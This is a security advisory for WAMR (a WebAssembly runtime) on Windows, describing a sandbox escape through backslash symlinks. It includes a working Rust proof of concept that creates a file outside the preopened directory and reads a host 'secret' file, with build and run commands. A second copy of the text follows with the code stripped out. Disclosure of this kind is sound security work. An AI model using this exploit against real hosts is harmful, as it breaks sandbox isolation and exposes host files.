Summary
On windows, creating a symlink pointing outside of the preopened directory and subsequently opening it with create flag will create a file on host outside of the sandbox. If the symlink points to an existing host file, it's also possible to open it and read its content.
Details
On WAMR running in Windows, creating a symlink with backslash that escapes the filesystem sandbox allows the Wasm module author to escape the sandbox. This can cause untrusted Wasm modules to access the host filesystem.
PoC
PoC in Rust with wasi
crate version 0.11 (for the WASI v0.1 API):
use wasi::{Iovec, OFLAGS_CREAT, RIGHTS_FD_READ, RIGHTS_FD_WRITE};
fn main() {
let base_fd = 3;
unsafe {
// Link containing backslash is ok.
wasi::path_symlink("..\\f", base_fd, "l0").unwrap();
// Link pointing to an existing file outside of sandbox.
wasi::path_symlink("..\\secret", base_fd, "l1").unwrap();
// Opening l0 creates a file outside of sandbox `f`.
wasi::path_open(base_fd, 0, "l0", OFLAGS_CREAT, RIGHTS_FD_WRITE, 0, 0).unwrap();
// Opening l1 opens an existing file outside of sandbox.
let secret_fd = wasi::path_open(base_fd, 0, "l1", 0, RIGHTS_FD_READ, 0, 0).unwrap();
let mut buf = [0u8; 32];
let iovs = [Iovec {
buf: buf.as_mut_ptr(),
buf_len: buf.len(),
}];
wasi::fd_read(secret_fd, &iovs).unwrap();
println!("secret: {:?}", buf);
}
}
Build WAMR either before 2.2.0 or with -DWAMR_BUILD_LIBC_UVWASI=1
Set up the preopen directory and secret file:
mkdir dir
"password" | Out-File secret
Build the PoC
cargo build --target wasm32-wasip1
Run the PoC with WAMR:
iwasm --dir dir target\wasm32-wasip1\debug\wamr-symlink.wasm
Now check the filesystem. A new file f
outside of dir
will be created.
Impact
Anyone running WAMR < 2.2.0 or WAMR built with libc-uvwasi on Windows.
Summary
On windows, creating a symlink pointing outside of the preopened directory and subsequently opening it with create flag will create a file on host outside of the sandbox. If the symlink points to an existing host file, it's also possible to open it and read its content.
Details
On WAMR running in Windows, creating a symlink with backslash that escapes the filesystem sandbox allows the Wasm module author to escape the sandbox. This can cause untrusted Wasm modules to access the host filesystem.
PoC
PoC in Rust with
wasi
crate version 0.11 (for the WASI v0.1 API):Build WAMR either before 2.2.0 or with
-DWAMR_BUILD_LIBC_UVWASI=1
Set up the preopen directory and secret file:
Build the PoC
Run the PoC with WAMR:
Now check the filesystem. A new file
f
outside ofdir
will be created.Impact
Anyone running WAMR < 2.2.0 or WAMR built with libc-uvwasi on Windows.